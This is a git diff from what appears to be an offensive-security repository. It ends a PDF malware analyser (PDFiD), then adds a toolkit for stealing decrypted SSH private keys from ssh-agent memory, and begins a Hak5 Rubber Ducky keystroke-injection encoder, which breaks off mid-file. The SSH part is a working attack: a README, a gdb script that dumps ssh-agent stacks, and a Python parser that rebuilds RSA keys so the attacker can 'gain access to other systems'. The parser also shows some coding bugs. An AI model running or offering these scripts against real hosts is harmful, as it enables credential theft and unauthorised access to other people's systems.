xmlDoc.createAttribute('Filename') + att.nodeValue = file + xmlDoc.documentElement.setAttributeNode(att) + attErrorOccured = xmlDoc.createAttribute('ErrorOccured') + xmlDoc.documentElement.setAttributeNode(attErrorOccured) + attErrorOccured.nodeValue = 'False' + attErrorMessage = xmlDoc.createAttribute('ErrorMessage') + xmlDoc.documentElement.setAttributeNode(attErrorMessage) + attErrorMessage.nodeValue = '' + + oPDFDate = None + oEntropy = None + oPDFEOF = None + oCVE_2009_3459 = cCVE_2009_3459() + try: + attIsPDF = xmlDoc.createAttribute('IsPDF') + xmlDoc.documentElement.setAttributeNode(attIsPDF) + oBinaryFile = cBinaryFile(file) + if extraData: + oPDFDate = cPDFDate() + oEntropy = cEntropy() + oPDFEOF = cPDFEOF() + (bytesHeader, pdfHeader) = FindPDFHeaderRelaxed(oBinaryFile) + if disarm: + (pathfile, extension) = os.path.splitext(file) + fOut = open(pathfile + '.disarmed' + extension, 'wb') + for byteHeader in bytesHeader: + fOut.write(C2BIP3(chr(byteHeader))) + else: + fOut = None + if oEntropy != None: + for byteHeader in bytesHeader: + oEntropy.add(byteHeader, insideStream) + if pdfHeader == None and not force: + attIsPDF.nodeValue = 'False' + return xmlDoc + else: + if pdfHeader == None: + attIsPDF.nodeValue = 'False' + pdfHeader = '' + else: + attIsPDF.nodeValue = 'True' + att = xmlDoc.createAttribute('Header') + att.nodeValue = repr(pdfHeader[0:10]).strip("'") + xmlDoc.documentElement.setAttributeNode(att) + byte = oBinaryFile.byte() + while byte != None: + char = chr(byte) + charUpper = char.upper() + if charUpper >= 'A' and charUpper <= 'Z' or charUpper >= '0' and charUpper <= '9': + word += char + wordExact.append(char) + elif slash == '/' and char == '#': + d1 = oBinaryFile.byte() + if d1 != None: + d2 = oBinaryFile.byte() + if d2 != None and (chr(d1) >= '0' and chr(d1) <= '9' or chr(d1).upper() >= 'A' and chr(d1).upper() <= 'F') and (chr(d2) >= '0' and chr(d2) <= '9' or chr(d2).upper() >= 'A' and chr(d2).upper() <= 'F'): + word += chr(int(chr(d1) + chr(d2), 16)) + wordExact.append(int(chr(d1) + chr(d2), 16)) + hexcode = True + if oEntropy != None: + oEntropy.add(d1, insideStream) + oEntropy.add(d2, insideStream) + if oPDFEOF != None: + oPDFEOF.parse(d1) + oPDFEOF.parse(d2) + else: + oBinaryFile.unget(d2) + oBinaryFile.unget(d1) + (word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut) + if disarm: + fOut.write(C2BIP3(char)) + else: + oBinaryFile.unget(d1) + (word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut) + if disarm: + fOut.write(C2BIP3(char)) + else: + oCVE_2009_3459.Check(lastName, word) + + (word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut) + if char == '/': + slash = '/' + else: + slash = '' + if disarm: + fOut.write(C2BIP3(char)) + + if oPDFDate != None and oPDFDate.parse(char) != None: + dates.append([oPDFDate.date, lastName]) + + if oEntropy != None: + oEntropy.add(byte, insideStream) + + if oPDFEOF != None: + oPDFEOF.parse(char) + + byte = oBinaryFile.byte() + (word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut) + + # check to see if file ended with %%EOF. If so, we can reset charsAfterLastEOF and add one to EOF count. This is never performed in + # the parse function because it never gets called due to hitting the end of file. + if byte == None and oPDFEOF != None: + if oPDFEOF.token == '%%EOF': + oPDFEOF.cntEOFs += 1 + oPDFEOF.cntCharsAfterLastEOF = 0 + oPDFEOF.token = '' + + except SystemExit: + sys.exit() + except: + attErrorOccured.nodeValue = 'True' + attErrorMessage.nodeValue = traceback.format_exc() + + if disarm: + fOut.close() + + attEntropyAll = xmlDoc.createAttribute('TotalEntropy') + xmlDoc.documentElement.setAttributeNode(attEntropyAll) + attCountAll = xmlDoc.createAttribute('TotalCount') + xmlDoc.documentElement.setAttributeNode(attCountAll) + attEntropyStream = xmlDoc.createAttribute('StreamEntropy') + xmlDoc.documentElement.setAttributeNode(attEntropyStream) + attCountStream = xmlDoc.createAttribute('StreamCount') + xmlDoc.documentElement.setAttributeNode(attCountStream) + attEntropyNonStream = xmlDoc.createAttribute('NonStreamEntropy') + xmlDoc.documentElement.setAttributeNode(attEntropyNonStream) + attCountNonStream = xmlDoc.createAttribute('NonStreamCount') + xmlDoc.documentElement.setAttributeNode(attCountNonStream) + if oEntropy != None: + (countAll, entropyAll , countStream, entropyStream, countNonStream, entropyNonStream) = oEntropy.calc() + attEntropyAll.nodeValue = '%f' % entropyAll + attCountAll.nodeValue = '%d' % countAll + attEntropyStream.nodeValue = '%f' % entropyStream + attCountStream.nodeValue = '%d' % countStream + attEntropyNonStream.nodeValue = '%f' % entropyNonStream + attCountNonStream.nodeValue = '%d' % countNonStream + else: + attEntropyAll.nodeValue = '' + attCountAll.nodeValue = '' + attEntropyStream.nodeValue = '' + attCountStream.nodeValue = '' + attEntropyNonStream.nodeValue = '' + attCountNonStream.nodeValue = '' + attCountEOF = xmlDoc.createAttribute('CountEOF') + xmlDoc.documentElement.setAttributeNode(attCountEOF) + attCountCharsAfterLastEOF = xmlDoc.createAttribute('CountCharsAfterLastEOF') + xmlDoc.documentElement.setAttributeNode(attCountCharsAfterLastEOF) + if oPDFEOF != None: + attCountEOF.nodeValue = '%d' % oPDFEOF.cntEOFs + attCountCharsAfterLastEOF.nodeValue = '%d' % oPDFEOF.cntCharsAfterLastEOF + else: + attCountEOF.nodeValue = '' + attCountCharsAfterLastEOF.nodeValue = '' + + eleKeywords = xmlDoc.createElement('Keywords') + xmlDoc.documentElement.appendChild(eleKeywords) + for keyword in keywords: + eleKeyword = xmlDoc.createElement('Keyword') + eleKeywords.appendChild(eleKeyword) + att = xmlDoc.createAttribute('Name') + att.nodeValue = keyword + eleKeyword.setAttributeNode(att) + att = xmlDoc.createAttribute('Count') + att.nodeValue = str(words[keyword][0]) + eleKeyword.setAttributeNode(att) + att = xmlDoc.createAttribute('HexcodeCount') + att.nodeValue = str(words[keyword][1]) + eleKeyword.setAttributeNode(att) + eleKeyword = xmlDoc.createElement('Keyword') + eleKeywords.appendChild(eleKeyword) + att = xmlDoc.createAttribute('Name') + att.nodeValue = '/Colors > 2^24' + eleKeyword.setAttributeNode(att) + att = xmlDoc.createAttribute('Count') + att.nodeValue = str(oCVE_2009_3459.count) + eleKeyword.setAttributeNode(att) + att = xmlDoc.createAttribute('HexcodeCount') + att.nodeValue = str(0) + eleKeyword.setAttributeNode(att) + if allNames: + keys = sorted(words.keys()) + for word in keys: + if not word in keywords: + eleKeyword = xmlDoc.createElement('Keyword') + eleKeywords.appendChild(eleKeyword) + att = xmlDoc.createAttribute('Name') + att.nodeValue = word + eleKeyword.setAttributeNode(att) + att = xmlDoc.createAttribute('Count') + att.nodeValue = str(words[word][0]) + eleKeyword.setAttributeNode(att) + att = xmlDoc.createAttribute('HexcodeCount') + att.nodeValue = str(words[word][1]) + eleKeyword.setAttributeNode(att) + eleDates = xmlDoc.createElement('Dates') + xmlDoc.documentElement.appendChild(eleDates) + dates.sort(key=lambda x: x[0]) + for date in dates: + eleDate = xmlDoc.createElement('Date') + eleDates.appendChild(eleDate) + att = xmlDoc.createAttribute('Value') + att.nodeValue = date[0] + eleDate.setAttributeNode(att) + att = xmlDoc.createAttribute('Name') + att.nodeValue = date[1] + eleDate.setAttributeNode(att) + return xmlDoc + +def PDFiD2String(xmlDoc, force): + result = 'PDFiD %s %s\n' % (xmlDoc.documentElement.getAttribute('Version'), xmlDoc.documentElement.getAttribute('Filename')) + if xmlDoc.documentElement.getAttribute('ErrorOccured') == 'True': + return result + '***Error occured***\n%s\n' % xmlDoc.documentElement.getAttribute('ErrorMessage') + if not force and xmlDoc.documentElement.getAttribute('IsPDF') == 'False': + return result + ' Not a PDF document\n' + result += ' PDF Header: %s\n' % xmlDoc.documentElement.getAttribute('Header') + for node in xmlDoc.documentElement.getElementsByTagName('Keywords')[0].childNodes: + result += ' %-16s %7d' % (node.getAttribute('Name'), int(node.getAttribute('Count'))) + if int(node.getAttribute('HexcodeCount')) > 0: + result += '(%d)' % int(node.getAttribute('HexcodeCount')) + result += '\n' + if xmlDoc.documentElement.getAttribute('CountEOF') != '': + result += ' %-16s %7d\n' % ('%%EOF', int(xmlDoc.documentElement.getAttribute('CountEOF'))) + if xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF') != '': + result += ' %-16s %7d\n' % ('After last %%EOF', int(xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF'))) + for node in xmlDoc.documentElement.getElementsByTagName('Dates')[0].childNodes: + result += ' %-23s %s\n' % (node.getAttribute('Value'), node.getAttribute('Name')) + if xmlDoc.documentElement.getAttribute('TotalEntropy') != '': + result += ' Total entropy: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('TotalEntropy'), xmlDoc.documentElement.getAttribute('TotalCount')) + if xmlDoc.documentElement.getAttribute('StreamEntropy') != '': + result += ' Entropy inside streams: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('StreamEntropy'), xmlDoc.documentElement.getAttribute('StreamCount')) + if xmlDoc.documentElement.getAttribute('NonStreamEntropy') != '': + result += ' Entropy outside streams: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('NonStreamEntropy'), xmlDoc.documentElement.getAttribute('NonStreamCount')) + return result + +def Scan(directory, allNames, extraData, disarm, force): + try: + if os.path.isdir(directory): + for entry in os.listdir(directory): + Scan(os.path.join(directory, entry), allNames, extraData, disarm, force) + else: + result = PDFiD2String(PDFiD(directory, allNames, extraData, disarm, force), force) + print(result) + logfile = open('PDFiD.log', 'a') + logfile.write(result + '\n') + logfile.close() + except: + pass + +#function derived from: http://blog.9bplus.com/pdfidpy-output-to-json +def PDFiD2JSON(xmlDoc, force): + #Get Top Layer Data + errorOccured = xmlDoc.documentElement.getAttribute('ErrorOccured') + errorMessage = xmlDoc.documentElement.getAttribute('ErrorMessage') + filename = xmlDoc.documentElement.getAttribute('Filename') + header = xmlDoc.documentElement.getAttribute('Header') + isPdf = xmlDoc.documentElement.getAttribute('IsPDF') + version = xmlDoc.documentElement.getAttribute('Version') + entropy = xmlDoc.documentElement.getAttribute('Entropy') + + #extra data + countEof = xmlDoc.documentElement.getAttribute('CountEOF') + countChatAfterLastEof = xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF') + totalEntropy = xmlDoc.documentElement.getAttribute('TotalEntropy') + streamEntropy = xmlDoc.documentElement.getAttribute('StreamEntropy') + nonStreamEntropy = xmlDoc.documentElement.getAttribute('NonStreamEntropy') + + keywords = [] + dates = [] + + #grab all keywords + for node in xmlDoc.documentElement.getElementsByTagName('Keywords')[0].childNodes: + name = node.getAttribute('Name') + count = int(node.getAttribute('Count')) + if int(node.getAttribute('HexcodeCount')) > 0: + hexCount = int(node.getAttribute('HexcodeCount')) + else: + hexCount = 0 + keyword = { 'count':count, 'hexcodecount':hexCount, 'name':name } + keywords.append(keyword) + + #grab all date information + for node in xmlDoc.documentElement.getElementsByTagName('Dates')[0].childNodes: + name = node.getAttribute('Name') + value = node.getAttribute('Value') + date = { 'name':name, 'value':value } + dates.append(date) + + data = { 'countEof':countEof, 'countChatAfterLastEof':countChatAfterLastEof, 'totalEntropy':totalEntropy, 'streamEntropy':streamEntropy, 'nonStreamEntropy':nonStreamEntropy, 'errorOccured':errorOccured, 'errorMessage':errorMessage, 'filename':filename, 'header':header, 'isPdf':isPdf, 'version':version, 'entropy':entropy, 'keywords': { 'keyword': keywords }, 'dates': { 'date':dates} } + complete = [ { 'pdfid' : data} ] + result = json.dumps(complete) + return result + +def Main(): + oParser = optparse.OptionParser(usage='usage: %prog [options] [pdf-file|zip-file|url]\n' + __description__, version='%prog ' + __version__) + oParser.add_option('-s', '--scan', action='store_true', default=False, help='scan the given directory') + oParser.add_option('-a', '--all', action='store_true', default=False, help='display all the names') + oParser.add_option('-e', '--extra', action='store_true', default=False, help='display extra data, like dates') + oParser.add_option('-f', '--force', action='store_true', default=False, help='force the scan of the file, even without proper %PDF header') + oParser.add_option('-d', '--disarm', action='store_true', default=False, help='disable JavaScript and auto launch') + (options, args) = oParser.parse_args() + + if len(args) == 0: + if options.disarm: + print('Option disarm not supported with stdin') + options.disarm = False + print(PDFiD2String(PDFiD('', options.all, options.extra, options.disarm, options.force), options.force)) + elif len(args) == 1: + if options.scan: + Scan(args[0], options.all, options.extra, options.disarm, options.force) + else: + print(PDFiD2String(PDFiD(args[0], options.all, options.extra, options.disarm, options.force), options.force)) + else: + oParser.print_help() + print('') + print(' %s' % __description__) + print(' Source code put in the public domain by Didier Stevens, no Copyright') + print(' Use at your own risk') + print(' https://DidierStevens.com') + return + +if __name__ == '__main__': + Main() diff --git a/Linux_Hacking/README.md b/Linux_Hacking/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/README.md b/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/README.md new file mode 100644 index 0000000..91e0e9c --- /dev/null +++ b/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/README.md @@ -0,0 +1,38 @@ +Introduction +============ + + SSH-agent is a tool designed to keep a SSH key in memory so that the user doesn't have to type their passphrase in every time. + +A user running as root may have the ability to pull the decrypted SSH key from memory and reconstruct it (of course, an attacker may be able to install a keylogger and use that to obtain the passphrase for the SSH key. However, this causes the attacker to have to wait for the target to type in their passphrase). + + +Using SSH-agent +--------------- + +A common method of using SSH-agent is running "SSH-agent bash" and then "SSH-add" to add the key to the agent. Once added, the key will stay in the SSH-agent's stack until the process ends, another key is added, or the user uses the -d or -D option with SSH-add. + + +Pulling a SSH Key From Memory +----------------------------- + +Gdb uses the ptrace call to attach to the SSH-agent. This provides gdb with the privileges necessary to create a memory dump of the running process. + +The gdb_garb.sh script provides a way of automating the dumping of this memory. By default, when it runs it will create a memory dump of the stack for each SSH-agent process. These files are named SSHagent-PID.stack. + + + +Parsing SSH Keys From the Memory Dump +------------------------------------- + +The key is kept in the stack in a different format then the one that was generated by SSH-keygen. + +The script parse.py requires the installation of the pyasn1 python module. Once that is installed the script can be run against the memory file. If that memory file contains a valid RSA SSH key then it will save it to disk. + +This key.rsa file can then be used as an argument to the -i switch in SSH. This will act like the original user's key, only without requiring a pass phrase to unlock it. + + + +References: +----------- + +1. https://www.netspi.com/blog/entryid/235/stealing-unencrypted-ssh-agent-keys-from-memory \ No newline at end of file diff --git a/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/gdb_garb.sh b/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/gdb_garb.sh new file mode 100755 index 0000000..b336667 --- /dev/null +++ b/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/gdb_garb.sh @@ -0,0 +1,24 @@ +#!/bin/bash + +# First argument is the output directory. Use /tmp if this is not specified. +outputdir="/tmp" + +# Grab pids for each ssh-agent +sshagentpids=$(ps --no-headers -fC ssh-agent | awk '{print $2}') + +# Iterate through the pids and create a memory dump of the stack for each +for pid in $sshagentpids; do + stackmem="$(grep stack /proc/$pid/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p')" + startstack=$(echo $stackmem | awk '{print $1}') + stopstack=$(echo $stackmem | awk '{print $2}') + + gdb --batch -pid $pid -ex "dump memory $outputdir/sshagent-$pid.stack 0x$startstack 0x$stopstack" 2&>1 >/dev/null + + # GDB doesn't error out properly if this fails. + # This will provide feedback if the file is actually created + if [ -f "$outputdir/sshagent-$pid.stack" ]; then + echo "Created $outputdir/sshagent-$pid.stack" + else + echo "Error dumping memory from $pid" + fi +done \ No newline at end of file diff --git a/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/parse.py b/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/parse.py new file mode 100755 index 0000000..9c7d2f4 --- /dev/null +++ b/Linux_Hacking/getting_unencryp_ssh_keys_from_memory/parse.py @@ -0,0 +1,186 @@ +#!/usr/bin/python + +import sys +import base64 +from pyasn1.type import univ +from pyasn1.codec.der import encoder + + +class sshkeyparse: + """ This class is designed to parse a memory dump of ssh-agent and create + unencrypted ssh keys that can then be used to gain access to other + systems""" + keytypes = { + 'rsa': "ssh-rsa", + 'dsa': "ssh-dss", + 'ecsda': "ecdsa-sha2-nisp256", + 'ed25519': "ssh-ed25519" + } + + def read(self, memdump): + """ Reads a file and stories it in self.mem""" + self.inputfile = memdump + file = open(memdump, 'rb') + self.mem = "".join(file.readlines()) + file.close() + + def unpack_bigint(self, buf): + """Turn binary chunk into integer""" + + v = 0 + for c in buf: + v *= 256 + v += ord(c) + + return v + + def search_key(self): + """Searches for keys in self.mem""" + + keysfound = {} + + for type in self.keytypes: + magic = self.mem.find(self.keytypes[type]) + + if magic is not -1: + keysfound[magic] = type + + if keysfound: + print ("Found %s key" % keysfound[sorted(keysfound)[0]]) + self.mem = self.mem[sorted(keysfound)[0]:] + self.type = keysfound[sorted(keysfound)[0]] + return 1 + + if not keysfound: + return -1 + + def getkeys(self, output): + """ Parses for keys stored in ssh-agent's stack """ + + keynum = 0 + validkey = 0 + + validkey = self.search_key() + while validkey != -1: + + if keynum == 0: + keynum += 1 + self.create_key(output) + + else: + keynum += 1 + self.create_key((output + "." + str(keynum))) + + validkey = self.search_key() + + if keynum == 0: + # Did not find a valid key type + print ("A saved key was not found in %s" % self.inputfile) + print ("The user may not have loaded a key or the key loaded is " + + "not supported.") + sys.exit(1) + else: + return + + # Detect type of key and run key creation + def create_key(self, output): + """Creates key files""" + + output = output + "." + self.type + + if self.type is "rsa": + self.create_rsa(output) + print ("Creating %s key: %s" % (self.type, output)) + if self.type is "dsa": + self.create_dsa(output) + print ("Creating %s key: %s" % (self.type, output)) + else: + print ("%s key type is not currently supported." % self.type) + sys.exit(3) + + def create_dsa(self, output): + """Create DSA SSH key file""" + if self.mem[0:7] == "ssh-dss": + print ("DSA SSH Keys are not currently supported.") + self.mem = self.mem[start+size:] + + else: + print ("Error: This is not a DSA SSH key file") + sys.exit(2) + + def create_rsa(self, output): + """Create RSA SSH key file""" + if self.mem[0:7] == "ssh-rsa": + + # FIXME: This needs to be cleaned up. + start = 10 + size = self.unpack_bigint(self.mem[start:(start+2)]) + start += 2 + n = self.unpack_bigint(self.mem[start:(start+size)]) + start = start + size + 2 + size = self.unpack_bigint(self.mem[start:(start+2)]) + start += 2 + e = self.unpack_bigint(self.mem[start:(start+size)]) + start = start + size + 2 + size = self.unpack_bigint(self.mem[start:(start+2)]) + start += 2 + d = self.unpack_bigint(self.mem[start:(start+size)]) + start = start + size + 2 + size = self.unpack_bigint(self.mem[start:(start+2)]) + start += 2 + c = self.unpack_bigint(self.mem[start:(start+size)]) + start = start + size + 2 + size = self.unpack_bigint(self.mem[start:(start+2)]) + start += 2 + p = self.unpack_bigint(self.mem[start:(start+size)]) + start = start + size + 2 + size = self.unpack_bigint(self.mem[start:(start+2)]) + start += 2 + q = self.unpack_bigint(self.mem[start:(start+size)]) + + e1 = d % (p - 1) + e2 = d % (q - 1) + + self.mem = self.mem[start+size:] + + else: + print ("Error: This is not a RSA SSH key file") + sys.exit(2) + + seq = ( + univ.Integer(0), + univ.Integer(n), + univ.Integer(e), + univ.Integer(d), + univ.Integer(p), + univ.Integer(q), + univ.Integer(e1), + univ.Integer(e2), + univ.Integer(c), + ) + + struct = univ.Sequence() + + for i in xrange(len(seq)): + struct.setComponentByPosition(i, seq[i]) + + raw = encoder.encode(struct) + data = base64.b64encode(raw) + + # chop data up into lines of certain width + width = 64 + chopped = [data[i:i + width] for i in xrange(0, len(data), width)] + # assemble file content + content = """-----BEGIN RSA PRIVATE KEY----- +%s +-----END RSA PRIVATE KEY----- +""" % '\n'.join(chopped) + output = open(output, 'w') + output.write(content) + output.close() + +# MAIN + +keystart = sshkeyparse() +keystart.read(sys.argv[1]) +keystart.getkeys(sys.argv[2]) diff --git a/Memory_Exploits/Integer_Overflows/integer_overflows.md b/Memory_Exploits/Integer_Overflows/integer_overflows.md new file mode 100644 index 0000000..3f9c39e --- /dev/null +++ b/Memory_Exploits/Integer_Overflows/integer_overflows.md @@ -0,0 +1,2 @@ +# Integer Overflows + diff --git a/Reverse_Engineering/X86_Win32_Reverse_Engineering_Cheat_Sheet.pdf b/Reverse_Engineering/X86_Win32_Reverse_Engineering_Cheat_Sheet.pdf new file mode 100644 index 0000000..5909200 Binary files /dev/null and b/Reverse_Engineering/X86_Win32_Reverse_Engineering_Cheat_Sheet.pdf differ diff --git a/Rubber_Duck/HAK/Encoder/.classpath b/Rubber_Duck/HAK/Encoder/.classpath new file mode 100644 index 0000000..18d70f0 --- /dev/null +++ b/Rubber_Duck/HAK/Encoder/.classpath @@ -0,0 +1,6 @@ + ++ ++ + + + + + + + + + + + + + + ++ + diff --git a/Rubber_Duck/HAK/Encoder/.project b/Rubber_Duck/HAK/Encoder/.project new file mode 100644 index 0000000..a8dfc8b --- /dev/null +++ b/Rubber_Duck/HAK/Encoder/.project @@ -0,0 +1,17 @@ + ++ + + + diff --git a/Rubber_Duck/HAK/Encoder/.settings/org.eclipse.jdt.core.prefs b/Rubber_Duck/HAK/Encoder/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..8dfb703 --- /dev/null +++ b/Rubber_Duck/HAK/Encoder/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,12 @@ +#Sun Aug 07 16:02:51 PDT 2011 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 +org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve +org.eclipse.jdt.core.compiler.compliance=1.6 +org.eclipse.jdt.core.compiler.debug.lineNumber=generate +org.eclipse.jdt.core.compiler.debug.localVariable=generate +org.eclipse.jdt.core.compiler.debug.sourceFile=generate +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.6 diff --git a/Rubber_Duck/HAK/Encoder/src/Encoder.java b/Rubber_Duck/HAK/Encoder/src/Encoder.java new file mode 100644 index 0000000..d0ebc3a --- /dev/null +++ b/Rubber_Duck/HAK/Encoder/src/Encoder.java @@ -0,0 +1,530 @@ +// File: Encoder.java +// Created: 8/10/2011 +// Author: Jason Appelbaum Jason@Hak5.org + +import java.io.DataInputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import javax.swing.text.BadLocationException; +import javax.swing.text.Document; +import javax.swing.text.rtf.RTFEditorKit; + +public class Encoder { + + public static void main(String[] args) { + + String helpStr = "Hak5 Duck Encoder 1.2\n\n" + + "usage: duckencode -i [file ..]\t\t\tencode specified file\n" + + " or: duckencode -i [file ..] -o [file ..]\tencode to specified file\n" + + "\nArguments:\n" + + " -i [file ..] \t\tInput File\n" + + " -o [file ..] \t\tOutput File\n" + + "\nScript Commands:\n" + + " ALT [END | (ESCAPE | ESC) | F1...F12 | Single Char | SPACE | TAB]\n" + + " BREAK | PAUSE\n" + + " CAPSLOCK\n" + + " CONTROL | CTRL [(BREAK | PAUSE) | F1...F12 | (ESCAPE | ESC) | Single Char]\n" + + " DEFAULT_DELAY | DEFAULTDELAY [Time in millisecond * 10]\n" + + " DELAY [Time in millisecond * 10]\n" + + " DELETE\n" + + " DOWNARROW | DOWN\n" + + " END\n" + + " ESCAPE | ESC\n" + + " F1...F12\n" + + " HOME\n" + + " INSERT\n" + + " LEFTARROW | LEFT\n" + + " MENU | APP\n" + + " NUMLOCK\n" + + " PAGEDOWN\n" + + " PAGEUP\n" + + " PRINTSCREEN\n" + + " REM\n" + + " RIGHTARROW | RIGHT\n" + + " SCROLLLOCK\n" + + " SHIFT [ DELETE | HOME | INSERT | PAGEUP | PAGEDOWN | (WINDOWS | GUI)\n" + + " | (UPARROW | DOWNARROW |LEFTARROW | RIGHTARROW) | TAB]\n" + + " SPACE\n" + + " STRING [a...z A...Z 0..9 !...) `~ += _- \"\' :; <, >. ?/ \\|]\n" + + " TAB\n" + " UPARROW | UP\n" + " WINDOWS | GUI\n"; + + String inputFile = null; + String outputFile = null; + + if (args.length == 0) { + System.out.println(helpStr); + System.exit(0); + } + + for (int i = 0; i < args.length; i++) { + if (args[i].equals("--gui") || args[i].equals("-g")) { + System.out.println("Launch GUI"); + } else if (args[i].equals("--help") || args[i].equals("-h")) { + System.out.println(helpStr); + } else if (args[i].equals("-i")) { + // encode file + inputFile = args[++i]; + } else if (args[i].equals("-o")) { + // output file + outputFile = args[++i]; + } else { + System.out.println(helpStr); + break; + } + } + + if (inputFile != null) { + String scriptStr = null; + + if (inputFile.contains(".rtf")) { + try { + FileInputStream stream = new FileInputStream(inputFile); + RTFEditorKit kit = new RTFEditorKit(); + Document doc = kit.createDefaultDocument(); + kit.read(stream, doc, 0); + + scriptStr = doc.getText(0, doc.getLength()); + } catch (IOException e) { + System.out.println("Error with input file!"); + } catch (BadLocationException e) { + System.out.println("Error with input file!"); + } + } else { + DataInputStream in = null; + try { + File f = new File(inputFile); + byte[] buffer = new byte[(int) f.length()]; + in = new DataInputStream(new FileInputStream(f)); + in.readFully(buffer); + scriptStr = new String(buffer); + + } catch (IOException e) { + System.out.println("Error with input file!"); + } finally { + try { + in.close(); + } catch (IOException e) { /* ignore it */ + } + } + } + + encodeToFile(scriptStr, (outputFile == null) ? "inject.bin" + : outputFile); + } + } + + private static void encodeToFile(String inStr, String fileDest) { + inStr = inStr.replaceAll("\\r", ""); // CRLF Fix + String[] instructions = inStr.split("\n"); + ListHak5_Duck_Encoder ++ + ++ ++ +org.eclipse.jdt.core.javabuilder ++ ++ +org.eclipse.jdt.core.javanature +file = new ArrayList (); + int defaultDelay = 0; + + for (int i = 0; i < instructions.length; i++) { + try { + boolean delayOverride = false; + String commentCheck = instructions[i].substring(0, 2); + if (commentCheck.equals("//")) + continue; + + String instruction[] = instructions[i].split(" ", 2); + + instruction[0].trim(); + + if (instruction.length == 2) { + instruction[1].trim(); + } + + if (instruction[0].equals("DEFAULT_DELAY") + || instruction[0].equals("DEFAULTDELAY")) { + defaultDelay = (byte) Integer.parseInt(instruction[1] + .trim()); + } else if (instruction[0].equals("DELAY")) { + int delay = Integer.parseInt(instruction[1].trim()); + while (delay > 0) { + file.add((byte) 0x00); + if (delay > 255) { + file.add((byte) 0xFF); + delay = delay - 255; + } else { + file.add((byte) delay); + delay = 0; + } + } + delayOverride = true; + } else if (instruction[0].equals("STRING")) { + for (int j = 0; j < instruction[1].length(); j++) { + char c = instruction[1].charAt(j); + file.add(charToByte(c)); + + // Auto shift + byte shiftByte = 0x00; + if ((int) c >= 65 && (int) c <= 90) { + // switch capital letters + shiftByte = 0x02; + } else { + switch (c) { + case '~': + case '!': + case '@': + case '#': + case '$': + case '%': + case '^': + case '&': + case '*': + case '(': + case ')': + case '_': + case '+': + case '}': + case '{': + case '|': + case '"': + case ':': + case '?': + case '>': + case '<': + // shift + shiftByte = 0x02; + break; + } + } + file.add(shiftByte); + } + } else if (instruction[0].equals("CONTROL") + || instruction[0].equals("CTRL")) { + if (instruction[1].equals("ESCAPE") + || instruction[1].equals("ESC")) + file.add((byte) 0x29); + else if (instruction[1].equals("PAUSE") + || instruction[1].equals("BREAK")) + file.add((byte) 0x48); + else if (instruction.length != 1) + if (functionKeyCheck(instruction[1])) + file.add(functionKeyToByte(instruction[1])); + else + file.add(charToByte(instruction[1].charAt(0))); + else + file.add((byte) 0x00); + file.add((byte) 0x01); + } else if (instruction[0].equals("ALT")) { + if (instruction.length != 1) { + if (instruction[1].equals("ESCAPE") + || instruction[1].equals("ESC")) + file.add((byte) 0x29); + else if (instruction[1].equals("SPACE")) + file.add((byte) 0x2C); + else if (instruction[1].equals("TAB")) + file.add((byte) 0x2B); + else if (instruction.length != 1) + if (functionKeyCheck(instruction[1])) + file.add(functionKeyToByte(instruction[1])); + else + file.add(charToByte(instruction[1].charAt(0))); + else + file.add((byte) 0x00); + } else { + file.add((byte) 0x00); + } + file.add((byte) 0xE2); + + } else if (instruction[0].equals("ENTER")) { + file.add((byte) 0x28); + file.add((byte) 0x00); + } else if (instruction[0].equals("SHIFT")) { + if (instruction.length != 1) { + if (instruction[1].equals("HOME")) { + file.add((byte) 0x4A); + } else if (instruction[1].equals("TAB")) { + file.add((byte) 0x2B); + } else if (instruction[1].equals("WINDOWS") + || instruction[1].equals("GUI")) { + file.add((byte) 0xE3); + } else if (instruction[1].equals("INSERT")) { + file.add((byte) 0x49); + } else if (instruction[1].equals("PAGEUP")) { + file.add((byte) 0x4B); + } else if (instruction[1].equals("PAGEDOWN")) { + file.add((byte) 0x4E); + } else if (instruction[1].equals("DELETE")) { + file.add((byte) 0x4C); + } else if (instruction[1].equals("END")) { + file.add((byte) 0x4D); + } else if (instruction[1].equals("UPARROW")) { + file.add((byte) 0x52); + } else if (instruction[1].equals("DOWNARROW")) { + file.add((byte) 0x51); + } else if (instruction[1].equals("LEFTARROW")) { + file.add((byte) 0x50); + } else if (instruction[1].equals("RIGHTARROW")) { + file.add((byte) 0x4F); + } + file.add((byte) 0xE1); + } else { + file.add((byte) 0xE1); + file.add((byte) 0x00); + } + } else if (instruction[0].equals("REM")) { + continue; + } else if (instruction[0].equals("MENU") + || instruction[0].equals("APP")) { + file.add((byte) 0x65); + file.add((byte) 0x00); + } else if (instruction[0].equals("TAB")) { + file.add((byte) 0x2B); + 